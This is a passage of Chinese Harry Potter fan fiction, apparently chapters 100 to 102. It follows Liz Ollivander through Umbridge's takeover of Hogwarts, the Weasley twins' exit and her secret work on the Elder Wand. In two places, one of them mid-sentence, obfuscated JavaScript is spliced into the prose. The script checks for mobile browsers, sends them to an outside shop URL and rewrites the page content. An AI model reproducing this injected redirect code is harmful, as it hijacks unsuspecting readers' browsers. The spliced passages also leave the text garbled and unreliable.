用心有余悸几个字很难完全概括莉兹这晚之后的心情,连她都是如此,其他人自然不见得更好受,她和秋已经没有了追究玛丽埃塔的“罪行”的心思,也可以说她们其实早就心凉了。那日回到寝室后,佩德玛看见她们三人的脸色,原本有一肚子的话都咽了回去,她的脸上挂着尴尬的笑容,干巴巴地说了一句早点休息,然后便又躲进了被子里。 精神紧绷的状态将人的疲惫无限放大,却没有让莉兹的大脑停下来,邓布利多校长不会无缘无故对着自己强调那根魔杖,他更不会毫无退路地就把自己的学生们扔在目前这个宛如集中营的学校,她反复回忆着校长与她在天文塔上说的话,什么叫还有人在追求更强大的力量,现在整个英格兰最渴望战无不胜的家伙无非只有一个—— 她倒吸了一口凉气,强迫自己闭上眼,却仍是一夜无眠。 苏格兰高地在暮春时节用一场暴雨揭开了糟糕的清晨序幕,一只又一只猫头鹰穿越过雨水将被打湿的《预言家日报》扔在礼堂的长桌上,无论正在吃早餐的学生是否订阅了它,头版上那行字配上此刻站在邓布利多校长位置上的乌姆里奇那副得意神情,几乎毁掉了所有人的食欲。 “霍格沃茨校长被开除,伟大的邓布利多在逃。” 李·乔丹复读了一遍标题,将报纸狠狠砸在了地上。 同时乌姆里奇则是笑着敲了敲讲台,装腔作势地清了清嗓子:“亲爱的同学们,从今天起魔法部委任我暂代校长一职,我有以下几件事要提醒各位……” “我们不同意!” “把邓布利多教授还给我们!” “滚出霍格沃茨!” “抗议!抗议!抗议!” 带头喊出反对之声的人来自格兰芬多的桌子,迟来的莉兹一进门便听到了弗雷德的叫声,他和乔治兄弟俩用力拍打着桌面,就差要站上桌子。 被鼓动的反抗情绪只让乌姆里奇的笑容变得更诡异了,她的眼神甚至在莉兹身上停留了好几秒,接着竟直接举起魔杖封住了每个刚刚开了口的学生,包括什么都没做的莉兹。 一瞬间瞪大了眼睛,莉兹从斗篷里抽出魔杖刚要挥舞时,有人拉住了她的袖子,将她扯回了拉文克劳的桌旁,罗杰·戴维斯皱着眉头,低声说着:“你这脾气怎么回事,你被格兰芬多们传染了?” 说不出话的莉兹依然瞪着双眼,一边警告戴维斯把手松开,一边给自己解了咒:“你以为我要给那东西下咒吗?” “不然呢?”戴维斯反问。 莉兹面无表情转过身去对着格兰芬多遭了殃的学生们,重复念着解咒,然后再回过头:“这是我要做的事情。” 戴维斯胸口仿佛立刻被压上了一块石头似的喘不上来气,他昂起头去看前面老师们的脸色,刚刚冷着脸的麦格教授收回了魔杖,而当着全校人惩罚了学生的乌姆里奇看起来像是目标达成了似的,开始继续刚刚的讲话。 “从今日起,所有学生们进出霍格沃茨的邮件与包裹都会受到魔法部严密的检查,这是为了更好地保护各位的安全,任何可疑物品魔法部都有权扣押,如果有异议,可以来与我商量,我不是那种不通情达理的人,我只想为了各位的……” 根本没人听得进这长篇大论,莉兹听到不远处的李·乔丹用不大不小能让周围人都听见的声音说着:“哦——梅林的蛋蛋,我又要吐了。” 旁边的弗雷德和乔治很默契地发出了呕吐的声音。 魔法部之前只是针对性地偷看了自己的信件,现在都能公开这么说,无非是对孩子施压,让他们的父母不得不与魔法部站在一边。更令人不安的是,乌姆里奇绝对不会放过名单上的人,哪怕那张纸被离开的邓布利多一并带走了,莉兹掰开一块司康饼,倒上了一大勺果酱,黏糊糊的沾满了手指,心思都在接下来她要怎么做才能帮所有人度过这一关的事情上。 早餐时间结束,莉兹背着包往魔药学课的教室走去,在乌姆里奇那番废话之后,连斯内普看起来都和善可亲了一些,如果他可以在批改作业的时候不要露出那副像是便秘了一样的表情的话。 “全部正确,但是论证过程太无聊。”他将写满字的羊皮纸用两根手指夹起送到莉兹跟前,差点扫到她的眼睛。 平日里她可能还会觉得被冒犯了,在心里诅咒一句不爱洗头的斯内普教授头上长虱子,这一回她倒是什么想法也没有,不排除是右上角那个字母“O”的原因,更多的还是她在思考要不要给伍德寄信,讲明霍格沃茨的近况。 他在信封上常用的火漆印章肯定会被乌姆里奇注意到,多半会找借口把信扣住,然后再找自己麻烦。事情发展到这个地步,她肯定也不能再借秋的猫头鹰,毕竟她们都在那个名单上。但伍德跟她之间每周总是要通信的,突然间就不联系了,倒更反常了。 那干脆就撤掉所有防备好了,从这天之后她开始使用最普通的信纸和信封给伍德写信,除了生活琐事,还有那些看似肉麻的恋人密语,她不再提及其他的事,甚至为了保险,她不再使用守护神传递信息。整个学校里能够召唤出成形守护神的人除去各个老师们,学生中几乎是屈指可数,太容易暴露自己了。 她希望伍德足够聪明,能意识到不同。 事实证明,这位脑子里装满了魁地奇和女友的家伙不会让魁地奇失望,也不会让莉兹失望,他在收到第一封信时就产生了怀疑,他差一点就以为这是杰姬或者帕特里克模仿莉兹的笔迹在逗他玩。不过他足够熟悉莉兹写字的习惯,比如字母A的第一笔总会拖得很长,跨到下一行。再比如她经常只在信件开头的称谓里写他的名字奥利弗,正文里大多用的都是“木头先生”(Mr.Wood),他很清楚那一定不是伍德先生。 尽管用这些细节确认寄信人是自己的女朋友而不是别人,伍德还是被那些莉兹从不会说的话刺激到了,说实在的他很想听她亲口说出来,说她想在梦中见到自己,想亲吻自己的额头,感受彼此的体温——不能再想下去了,他觉得自己的头顶好像在冒烟,攥紧了那颗石头,直到它在手心缓缓亮起,这才安心了一点。 虽说不知道霍格沃茨校内的情况究竟如何,不过伍德在看到报纸的当下也猜到了七七八八,先前杰姬和帕特里克每周都能收到各处发来的投稿,关于乌姆里奇的事情他们听了许多。其中有一个署名是罗慕路斯(Romulus)的投稿人*,他总能向他们透露一些尚未公开的机密信息,加上那成熟的笔触,帕特里克一直怀疑这可能是魔法部的某位高层,在通过他们的地下平台说出实话。 显而易见,在莉兹如此明显的暗示下,伍德肯定不能将这些事情写在信中,于是他借着这难得的机会,也对着莉兹写了一长串撒娇的话,连他自己都有些读不出来。 隔天米拉尼尔带着回信在校门口就被截下,负责检查信件的是调查行动组的斯莱特林的学生,潘西·帕金森一见是莉兹·奥利凡德的信,连忙一把抢过来毫不客气地拆开。她瞥了几行字就开始大笑,惹得一旁的格拉哈姆·蒙太凑过来一起看热闹,看来这位毕业了好几年的格兰芬多学院魁地奇队长依然还能给他们提供笑料。 信件到了下午才辗转到莉兹的手中,为了更方便嘲笑她,蒙太竟是大摇大摆走进了变形学课的教室,高声念着伍德在信里的告白,似乎认为通过这种方式就会让傲慢的米歇尔二代恼羞成怒一般。很可惜,他唯一惹怒的只有最后进门的麦格教授,她逐出了没有资格上课的蒙太,并以干扰课堂为理由扣掉了斯莱特林三分。 至于坐在莉兹身后的乔治,他的眼神也不是很友好,以至于弗雷德以为自己的兄弟想把口袋里那包呕吐糖都塞进蒙太的嘴里。只是后来他才发现自己还是想得太简单了,因为乔治的计划不是把什么塞进蒙太嘴里,而是把蒙太这个大家伙塞进某个地方,好比二楼那个破烂的消失柜。 那晚之后,只要有学生经过那里总能听见奇怪的叫声,却看不到究竟是谁在发出声音,一些胆小的学生被吓怕了,一到傍晚就会躲回各自学院的公共休息室。 玛丽埃塔就是这样,天黑了便缠着秋回寝室,图书馆里那么多人对她而言根本没用,她想起那叫声就浑身起鸡皮疙瘩,秋一开始还有耐心安慰两句,次数多了以后也不愿再理睬了,每天看着时间差不多,就跟坐在最边上的莉兹打声招呼,然后和玛丽埃塔先离开了。 知晓内情的D.A成员对秋和莉兹依然与叛徒做朋友的态度有些不满,赫敏·格兰杰这天私下里还质问了莉兹,为什么要不分敌我,要送给她特效药剂祛除疤痕。虽然玛丽埃塔的鼻子上依旧留着一大块紫红色,但只要用几层粉底就能盖住。那叛徒的惩罚就没有意义了。 “她同意我修改了她的记忆。”莉兹完全理解格兰杰的愤怒,也知道自己此举太过心软,可这一句解释对于同样聪明的姑娘来说应该足够了。 格兰杰的态度明显柔软了下来,她咽回了许多话,沉默了几秒后才开口:“所以乌姆里奇那里,我们不用再担心了?” “她总会审问我们的,至于手段大约也不会清白,”莉兹说道,“玛丽埃塔今天上课前看到乌姆里奇在斯内普那里嚷嚷了,要是没猜错的话,什么吐真剂或是其他能让人心智出问题的药剂,她一定多多少少抢来了一些,当然也有可能是因为她进不去校长办公室。” “我也想到不会这么简单的。”格兰杰长叹一口气,“抱歉,我刚刚的语气太糟糕了。” “你和波特应该觉得不舒服的,讨厌我们都无可厚非。”莉兹抬头看了一眼刚从云层里跑出来的月亮,雾蒙蒙的白光洒在中庭的石砖上。 “不,这本来就和你没关系,不如说一开始明明是我把你拉进来的。”格兰杰低头看到莉兹仍把家养小精灵权益促进会的徽章别在包上。 “哦格兰杰小姐,你应该多多打听一下我的名字,没有人能劝我做我不愿意做的事情。”莉兹脸上少见地露出了微笑,她看向了格兰杰,“至于脓包的事情就当是我为她道歉,我没有在意识到问题时就将她踢出去,我也不喜欢用苦衷来辩解,每个人都有无法解决的问题,那不应该让别人来承担,所以她鼻子上的那块是我故意留下来的印记。” “可是你知道吗,你比我听到的那个奥利凡德要好一万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487888|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倍。”格兰杰强调道,接着压低了声音说,“你和塞西尔都是。” 莉兹稍微一愣,迈开步子向前走,然后停住脚步开玩笑似的说:“赫敏,你是个很有眼光的姑娘。” 月色照在莉兹的身上,格兰杰看到了那双故作冰冷的银色瞳孔里的温柔。 几日后不出她们所料,乌姆里奇终于开始清算那个名单了,更在计划中的是,她先审问的是那些看起来无关紧要的学生,比如乖乖女佩蒂尔姐妹,年纪最小的丹尼斯·克里维和他的哥哥科林·克里维,还有平时就喜欢找波特茬的扎卡赖斯和另外几个赫奇帕奇的学生。乌姆里奇肯定是认为这些人不至于对波特如此忠心,利用一些诸如学分的小恩小惠就能收买。 会这样想的粉虫合虫莫可低估了莉兹预判事件发展的能力,她在D.A名单暴露的隔天就拜托韦斯莱双胞胎二人把速效逃课糖和其他一系列能够迅速引发不良症状的太妃糖分给所有人,指示也很简单,那就是只要乌姆里奇开口问任何无法回答的问题便立刻把糖吞下去。 因此连着两天,总是有学生从乌姆里奇那间粉色的办公室里狼狈地跑出来,他们不是满身沾着自己的呕吐物,就是满脸糊着止不住的鼻血,更有甚者直接吐了乌姆里奇递来的红茶杯,一阵接着一阵的尖叫声,把在角落看笑话的皮皮鬼乐得不行,见乌姆里奇在打扫办公室,他还把两个满是秽物的铁桶弄倒在她的门前。 大约是前面这群学生的战斗力过于强大了,乌姆里奇隔了整整三天才给剩下最后一批发去了传唤通知。 作为“主谋”之一,莉兹不慌不忙,这天的魔咒学课结束后,她慢悠悠地走向楼梯,准备和其他人在拐角先碰个头,秋带着已经对D.A一无所知的玛丽埃塔早早等在了那里。几分钟后波特跟格兰杰还有罗恩也到了,当日被留在校长办公室的人就差那对双胞胎了。 时隔数日又能聚集在一起,尽管是为了接受不合理的审查,但几个人面面相觑,觉得这场面有些滑稽,完全不认为接下来会发生什么可怕的事情,大家只觉得费劲心思对付一群孩子的乌姆里奇有些可笑。 快到约定时间的时候乔治和弗雷德才姗姗来迟,他们上气不接下气的看起来很累,不知道刚刚去哪里乱跑了。弗雷德搭着莉兹的肩膀,一边喘着气一边说:“马上就要有很精彩的节目了。” “还有什么比你把蒙太塞进消失柜还精彩的吗?”罗恩一脸惊讶。 “那只是开胃菜罢了,今天的也就是份甜点吧。”乔治笑了笑,把弗雷德搭着肩膀的手一把打掉。 “你们可要乖乖等着我们的主菜哦!”弗雷德附和说。 “难怪最近那家伙没有跑过来说我的头发太卷了,所以要给我扣两分呢。”莉兹看了乔治一眼。 对方正要笑出声的时候,乌姆里奇打开了办公室的门,里面比以往更加浓烈的香水味熏得门外的几个人一阵头晕。 “请吧,二位韦斯莱先生。” “喔唷,还以为我们会是最后呢,真遗憾。”弗雷德和乔治对视, “你会后悔这个决定的哟,乌姆里奇教授。”乔治一拍手掌,走廊外响起了巨大的爆炸声,震得在场每个人都差点没站稳。 玛丽埃塔尖叫了一声,她探头看向外头:“梅林的胡子,那是什么?” 一条红金相间的火龙在顺着楼梯爬了上来,噼里啪啦的火星子落得到处都是,乌姆里奇吓呆了,她立马推开挡在门前的这几个人,追着焰火龙跑过去,在她走开的同时,弗雷德也打了个响指,更多不同形式的烟花炸开,一层接着一层占领了整个学校,它们好像完全不会熄灭似的,任由乌姆里奇用什么咒语,它们只会如同被施了复制咒语一般繁殖。 这些烟火是谁点燃的不言而喻了,全校的学生们不管是在上课还是在什么地方的都跑了出来,大型的烟火秀把因为邓布利多离开而变得了无生机的霍格沃茨激活了,所有人都在鼓掌叫好,尤其是乌姆里奇在庭院里被一个小地雷砸中了屁股时,楼上传来的笑容简直要震塌整栋楼。 莉兹悄悄地在斗篷下挥了两下魔杖,将一个跳跃着的火星引进了乌姆里奇的办公室,而后又用力一指,火星变大在办公室里劈里啪啦炸开,墙上的猫咪盘子和她桌上那壶红茶还有柜子里的药剂统统都变成了碎片。 她很满意地看着这一片狼籍,回头想让乔治俩人也欣赏一下,却发现他们不知道什么时候就不在这里了,她其实很想问问两个人到底是什么时候开始策划的,而且这么有意思的事情这一次居然没有带她一块儿玩。究竟什么是甜点,什么是主菜。 但是转念一想,他们可能也不需要和自己分享这些。 因为她沿着过去常走的密道来到了兄弟俩的秘密基地,看到了那间空荡荡的屋子,莉兹发现其实只有自己根本没做好“道别”的准备,无论是和朋友们,还是和霍格沃茨。 *Romulus,罗慕路斯,卢平后期在波特瞭望站用的代称就是这个,国内版本翻译成了老将,罗慕路斯Romulus和莱姆斯Remus其实是罗马神话里的一对双胞胎,莱姆斯就是卢平本人的名字。 101. 然后他们自由了 很显然,邓布利多这一离开不仅没有给霍格沃茨的孩子们足够的心理准备,同样也没有给身在格里莫广场12号的这群成年人一个交待,尤其是在这里留守的莱姆斯·卢平和西里斯·布莱克。这一狼一狗大多时候只能被动等待着凤凰社其他人把外界的消息传递进来,通讯人通常是唐克斯,偶尔会是塞西尔,主要看她们二人谁下班的时间比较早。 卢平本身是可以自由行动的,他完全可以自己跑去穆迪家里,或是去陋居跟韦斯莱先生打听些事情,然而西里斯实在不算是个值得信赖的对象,霍格沃茨发生了那么多事情,没有人希望这家伙又跟去年一样蹲守在校外的山洞里玩失踪。所以卢平作为凤凰社成员里唯一没有正经工作,而且还和西里斯的关系好到能同穿一件隐身斗篷的人,责无旁贷地成为了他的“保育员”。 可是自从邓布利多没了消息之后,塞西尔和唐克斯露面的次数也变少了,先前卢平还费尽心思躲避唐克斯,现在的他只想她们快来跟他们俩说说话,不然自己还没疯,他就要被陷入抑郁的西里斯搞疯了。 亲爱的兄弟,哪怕是狼人也是做不到成宿成宿不睡觉的,至少换个人陪他喝酒吧,卢平表示自己的酒量真的不足以应付一个敏感的颓废青年。 临近复活节,塞西尔总算是出现了,她推开门的瞬间,卢平便幻影移形到了一楼,满眼都是“快告诉我发生了什么”的好奇,可塞西尔只是对着他摇了摇头,慢吞吞地挪到厨房倒了一大杯茶,一饮而尽之后长舒一口气,竟然开口问他:“你知不知道邓布利多先生有什么计划?” “什么计划?”卢平难以置信地摊开双手,在她边上坐下,“你居然问我邓布利多有什么计划,这是嘲讽吗?” “西西!”随着第二下清脆的爆炸声,西里斯也来到了厨房,他一见塞西尔就冲了过去,“哈利在学校又发生什么了?” 皱起眉头无奈地看了看两个人,塞西尔两手环抱靠在椅背上,决定先无视西里斯永远只围绕着教子的提问,直视着卢平说道:“他当然不会和我交待行踪,我一直都是单方面接受任务的那一个。” “那你最近有什么任务?”卢平追问。 “这不能告诉你。”塞西尔果断拒绝。 “所以你就是知道他的计划嘛!”老好人卢平又被惹急了。 “我不知道啊!”塞西尔的声音提高了一些。 “你什么都不知道,那现在霍格沃茨谁负责,哈利怎么办?”西里斯在他俩之间挥了挥手。 “斯内普又不是死了!麦格教授不是人吗?”塞西尔白了他一眼。 “你那聪明的侄女呢?”西里斯的语气变得有点阴阳怪气。 “大人说话,狗狗闭嘴。”塞西尔做了个让他安静的手势,原本还在气头上的卢平噗嗤一声,直接哈哈笑了出来。 前一秒三个人还一言不合就要打起来,这一秒居然三个人又在一起笑,塞西尔有时候真不知道要怎么形容和他们之间的关系,说是朋友实在是近了点,说是认识的人又远了点。 “说实话吧,我也得不到校内的消息,除非你们谁愿意给斯内普写信。”塞西尔又给自己倒了第二杯茶。 “我不愿意。”西里斯回答得果断。 “我试试。”卢平犹豫了一下,然后点了点头。 见他这态度,西里斯嫌弃地移开了视线,嘟囔着说:“好了好了,你俩和好算了。” “本来也不好的人怎么和好。”卢平从塞西尔手里接过了茶壶准备去续水。 “我看未必哦。”西里斯冷哼一声,起身就要回楼上。 走到门口又被塞西尔叫住:“对了,你能不能别对克利切说滚,它真的可以离开这个屋子的。” “哦——现在又要教育我了吗?”西里斯酸溜溜地抛下一句话,而后便上了楼。 “喂,西里斯!”塞西尔喊了一声,楼上的人却再也不搭理她了。 她转头看着卢平,没开口问,他已经提前回道:“连我都觉得在这屋子里憋坏了,他肯定更难受。” “我怎么可能不知道……”塞西尔把第二杯茶喝完,“我今天先回去了,我也会试着给斯内普写信,不过这家伙对我有意见,很难说他会不会给我回信,至于大脑封闭术的事情我还没来得及告诉西里斯。” “哈利怎么了?”卢平连忙问。 “斯内普上一次给我写信就是要我通知你们,他教不了也教不下去了。”塞西尔站起来,“等今年夏天我们再想其他办法,或者等我联系到邓布利多先生。” 提取到了关键的人名,卢平又准备继续打听什么,但下一句便被塞西尔驳回:“我真的不知道他在哪儿,我骗你有什么好处?” 说罢她就消失在了厨房,留下空空的茶杯在桌上晃了两下,心里一点都不畅快的卢平赌气似的把茶杯扔进水池里,而后决定回房间给斯内普写信。 关于邓布利多的事情,塞西尔发誓自己真的没有撒谎,因为她手上只有一个任务,而那个任务和波特还有西里斯这些人都毫无关系,这个任务甚至不能告诉第四个人,也就是除了邓布利多和她还有那个即将接收任务的对象之外,没有人可以知道。 她也是为了这件事才不情不愿去联系斯内普的,谁让邓布利多非要在离开之前说“必要时可以依靠西弗勒斯”,到底谁会想依靠他啊。不过考虑到乌姆里奇无权检查教师们的邮件,因此她只能从斯内普那里得知莉兹的消息,在知道她申请了复活节回家这件事之后,塞西尔反而有些紧张了。 毕竟先前说的“对象”就是莉兹,并且邓布利多还强调了尽快。 出发去对角巷之前,塞西尔低头看着摊在床上的两样东西,一根魔杖还有一张写着格里莫广场12号地址的纸片,她迟迟不愿挪动脚步,这就好像过去自己只是在引导侄女做一些事情,现在是亲手将她推上了一条回不了头的路,莉兹本人并没有机会选择就要上路了。 出人意料却又觉得在情理之中的是,当塞西尔和莉兹面对面坐在奥利凡德魔杖店阁楼那间小屋子里时,听着那几乎是不可能的任务内容,莉兹依然冷静得不像话,她伸手接过了老魔杖和纸片,没有更多的疑问,只是开口问了一句:“有时间限制吗?” “我之后会再联系你。”塞西尔回答。 “那就是越快越好了,我明白。”莉兹点点头,又轻声念出了纸片上的地址,在她记住的瞬间,纸片便成了粉末飘散在空气里,接着她开始端详这根其貌不扬的魔杖,沉默了几秒后继续解释,“我们都听说过老魔杖的故事,它只会追随魔力更强大的一方,所以即便邓布利多校长授意将它带给我,我也无法成为它的主人。” “我绝对不会推你进险境,所以从现在起哈利将不再是你的责任,你也将永远受到凤凰社所有人的保护。”塞西尔也在这时深吸一口气,“刚刚的地址便是凤凰社。” “没关系,我不相信凤凰社,我只相信你。”莉兹的笑容越是放松,在塞西尔心上留下的印记却越沉重。 她当然不会知道,复制老魔杖的想法在莉兹脑海里已经盘桓了很长时间,邓布利多自然不会做没有把握的事情,怎么可能冷不丁就把一个巨型炸弹扔到一个还不满十八岁的孩子面前就自己走开。 塞西尔刚一离开,莉兹就把自己关在了阁楼里,她完全忘记自己是因为和伍德约好见面才申请复活节假期回家的。而她想起先前自己和爷爷打听老魔杖时,老奥利凡德一反常态讲起了格里戈维奇是个说谎的骗子,不仅吹牛自己拥有老魔杖,还吹牛说自己可以制作出和老魔杖一样的魔杖。 为了不在爷爷那里成为第二个骗子,莉兹下定决心只靠自己来解决所有的技术问题,好在长久以来的练习已经给了她足够的底气,至少她有胆量将老魔杖先拆开。 刻刀触碰到魔杖的一霎那,骇人的嘶吼声几乎刺穿了她的耳膜,莉兹颤抖着放下手里的东西,弯腰捂住了耳朵,每一个死在这根魔杖下的亡魂都在求救,憋闷的阁楼仿佛降低到了零度,她觉得有接连不断的寒意从胸口传递到指尖。手忙脚乱地对着那道划痕念出“恢复如初”,恐怖的声音稍微消停了一阵,但莉兹还是能隐约听见。 其中最令她恐惧的声音是一个熟人的声音,她希望自己听错了,可重复响起的人声让她不得不确认,那正是邓布利多教授本人的声音,他颤抖着在说:“求你……” 哐当一声,阁楼的门突然倒下,本来就濒临崩溃的莉兹心口一沉,刚要喊出“滚”的时候,奥利弗·伍德那狼狈的模样太好笑了,让她满肚子的负面情绪消失得无影无踪。他大概是力气太大了,直接把摇摇欲坠的木门拍倒了,加上他的个头又太高了,进门的这两步,他已经撞了三次额头,还有一次后脑勺。 “别管那扇门了,原本就是坏的。”莉兹迅速把老魔杖收进柜子,反手将伍德拉近,没有站稳的他跌坐在草堆上,整个人扑在了坐着的莉兹怀里。 “我真的有敲门……” 伍德红着脸,挣扎要起身,不过莉兹倒是伸手抱住了他,用下巴蹭了蹭他扎手的短发,低声说着:“果然只要见到你,我就什么都好了。” “发生什么事了吗?”被乖乖揉着脑袋的伍德换了个姿势半躺在了她的腿上。 “不能告诉你。”莉兹垂眼看着他笑了笑,“但是放你鸽子是我的错。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487889|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我会原谅你。”伍德也笑了笑,伸手抚摸了一下她的脸颊,“而且,不管你做什么我都不会生气的。” “真的吗?”莉兹捏住了他的脸,很用力向两边拉。 “金滴——”说不清楚话的伍德,就这样在她怀里点着头。 “非常乖,值得奖励。”莉兹松开手,低头轻吻他的额头,和她在信中写的一样,而后下一秒伍德便昂起头来,翻身吻住了她,这也和他在信中写的一样——再见面时要交换一个漫长的亲吻。 二人短暂的相处给了莉兹抵御老魔杖心魔的力量,至少在接下来的几天里她没有再像一开始似的那样痛苦,成功拆解了魔杖的部分,画出了细节的构成图。这听起来很容易,但花了她整整三天,复活节假期算上周六一共只有五天,她差点因此错过了去霍格莫德村的骑士公共汽车。幸好伍德这天没有比赛,中午训练结束就来了魔杖店里,他牵着莉兹的手直到她上了车才恋恋不舍地松开。 回校之后随着四月逐渐接近尾声,莉兹的老魔杖复制大业毫无进展,NEWT的复习计划也不见得有什么进展,不过她已经彻底不在乎那些学科了,教授们不过是在重复布置一些题目给学生们练习,学不到任何新东西的课堂太过无趣了,她想乔治他们应该也是这么想的,因为复活节假期后,他们连变形学课都不上了,之前兄弟俩还一直说麦格教授教的东西和他们的事业息息相关。 周围人中唯一被折磨得半死不活的,可能只有戴维斯。同为学生主席,梅根·斯克林杰是那样游刃有余,自己的魁地奇球队队长消失了两个礼拜才被找回这种事都没办法让她担忧,作为一名替补,她只是按部就班训练,偶尔上场比赛,至于输和赢,她一点不在意。加上戴维斯为了有足够多的时间训练和复习,暂停了所有级长巡逻和会议,她在学生会就更清闲了,他们两个学生主席直接被乌姆里奇的调查行动组架空,学校成了那些人的天下。 更有小道消息说福吉即将被弹劾,斯克林杰是下一届魔法部部长的热门人选,梅根的日子眼见着是越来越好过。 和过去每一年每一天没有区别,莉兹会在睡前从大喇叭玛丽埃塔那里收获霍格沃茨的每日要闻,以上便是她讲述的近况,没有一条有意思的,莉兹觉得有点失望,看来只要双胞胎兄弟安静了,霍格沃茨就变得很没意思。 历史种种事件表明,女巫的念头总是有意义的。隔天莉兹坐在图书馆老位置上翻找老魔杖的资料,外面的此起彼伏的尖叫声划破了安静的氛围,也激怒了莉兹身后的平斯夫人。虽然她的管辖区域是图书馆内,但像这种能够传进来的噪声,她自然也是不能接受的。她刚站起身,怒气冲冲要去找学生们算账,没走出去两步就被跑进来的安吉丽娜撞倒在地,身材高大的安吉丽娜站在书架前像一堵墙,根本不理睬平斯夫人的呵斥,一味走到最里面拉起了莉兹的手。 “你必须去看看,这次和以前都不一样了!” “什么不一样?”莉兹踉跄了两步好不容易站稳。 “他们要走了。”安吉丽娜强调说,“你跟着我走,他们把楼上变成了沼泽,我们根本没法儿从东边通过。” 跟在后面的莉兹回忆起此前的一切迹象,加快脚步跑在她身旁,两个人穿过走廊来到了门厅,安吉丽娜的一声呼唤吸引了弗雷德的注意,乔治也看到了赶来的莉兹,他们脸上的笑意更明显了。 只见眨眼间两把飞天扫帚横冲直下,扫帚尾上叮呤咣啷挂着长长的铁链子和沉重的铁栓,一路撞坏了许多东西,把楼梯扶手都砸出了几个坑,站在边上的一个学生都差点遭了殃,莉兹眼疾手快用咒语敲碎了它们,两把横扫五星终于挣脱了束缚飞向了主人,兄弟俩便默契地同时跳上扫帚。 见他们在空中肆意地飞着,又在宣传着对角巷93号的新店,莉兹心里觉得别扭的地方倏然间就好了,她抬头与乔治对视了一眼,她是真心地为他们高兴。 “抱歉朋友,我要先走一步了。”乔治飞向了她身边,弯腰吻了一下她的左脸,这个亲吻太轻了,轻到莉兹以为是自己的错觉。 只有调查行动组那群人满身的臭汁味儿提醒她一切都是真的,几个人对着空中的兄弟俩怒吼却又无能为力,乔治随即一个翻身高高飞起,又在半空中盘旋了两圈,在场所有学生们的欢呼与掌声成了兄弟二人的告别曲,伴着弗雷德的一声拜拜,他们就这样飞向了缓缓没入云中的夕阳,周身都闪烁着金色的光芒。 莉兹把手缩进斗篷里悄悄一甩魔杖,以费尔奇为首的几人接连摔倒在地,在众人的嬉笑声中,她后退了好几步,一转眼个头并不突出的她便消失在人群中,谁也找不着她了。 102. 并没有回来的人 遗憾的是,就像七年前突然掉进她生活里的那顶巫师帽一样,她当时用它接住了一只被乔治吓跑的蟾蜍,他们兄弟俩也只是点亮了一个小古板无趣人生,留下了一盏灯便消失了。这些年来莉兹总有更加重要的事情要做,过去是魁地奇,是学习,是向米歇尔女士证明自己,如今是在夜幕降临前清晰地描绘出真正的自己。 她知道日光在消失,黑暗在逼近,所以她开始回看那盏灯。当她坠落进只有自己能听见的老魔杖低吟中时,让她能留意到自己的影子。 不过兄弟俩的离开还是给莉兹扔下了一些恼人的烂摊子,比如因为安吉丽娜的莽撞,平斯夫人给莉兹也安上了连坐的罪名,把她和几个格兰芬多的学生一起拉进了黑名单,只要她踏进图书馆大门半步,就会出现一大堆墨水瓶和羽毛笔飞过来砸她的脑袋。 这下好了,图书馆是不能去了,莉兹遗忘在老地方的几本书和羊皮纸还需要拜托秋偷偷拿回来。幸好秋·张小姐天生有着令人信赖的气质,以前连费尔奇都很少对着她摆脸色。当然,在上次的校长室事件后,她还是和其他人一样被列进了重点关注人员名单,只是她的危险程度要远远低于波特一行人,调查行动组都很少故意找她的茬,除了在魁地奇球场被同为找球手的秋戏耍过的德拉科·马尔福,他一边说着自己才不和一个姑娘计较,一边以检查为借口扣下秋和家人的信,迟了三天才吐出来。 失去了那张安静的桌子,并且处于保险,她决定尽量不在乌姆里奇面前晃悠,没有必要在这最后的日子里给自己找麻烦,那么重新寻找一个能够不被打扰的地方成了目前最关键的事情。 她起初想过去家养小精灵住的屋子躲一阵子,但之前送给梅丽那么简单的木雕,她都恨不得把厨房里所有的曲奇打包起来送给自己,实在不敢想若是真的向她提出这个要求梅丽会如何。何况也不是所有的家养小精灵都能以平常心态面对巫师,很多小精灵依然会觉得害怕。 思索了一阵子,莉兹最终选择了留在寝室里,她想教授们大约也不在意她在课堂上的出席率了,距离NEWTs考试只剩下几周了,其他学院还有许多准备弃考的学生,拉文克劳公共休息室里那种考不过就完了的氛围算是一个例外。不过罗杰·戴维斯的焦虑倒不是独一份的,他不仅影响了自己同级的朋友,连魁地奇球队里并不需要参加考试的队友们都莫名焦躁了起来,毕竟积分垫底的局面谁都不乐意看到。 室友们对莉兹这幅模样见怪不怪,玛丽埃塔甚至以为莉兹是因为难过韦斯莱双胞胎抛下她走了,帕德玛则是一心扑在OWLs考试的最终复习上,每天捧着一本魔法史书翻来倒去地背诵,秋自然而然成了那位帮她按照书单借书的好心人,有时候也会给她带点吃的回来,这样莉兹就不用趁宵禁以后溜去厨房偷吃了。 而这也是秋一天里难得能见到莉兹露出放松的神情的时刻,紧绷的状态短暂消失一会儿,看似幸福地享受着甜食带来的愉悦,像秋刚刚认识她的时候一样。那时候少言寡语又不苟言笑的莉兹会在晚宴时看到突然出现的一盘黑莓派而两眼放光。 提着一篮馅饼和酥皮蛋挞,秋走进寝室,她看莉兹坐在床边的地毯上对着书上的内容紧皱眉头,便安静地挪步过去将篮子和借来的两本书放下,正要转身时,她听见身后传来莉兹的声音。 “谢谢,今天的书应该很不好找。”莉兹合上书,又低头掀开看了一眼篮子,“是百果馅饼!” 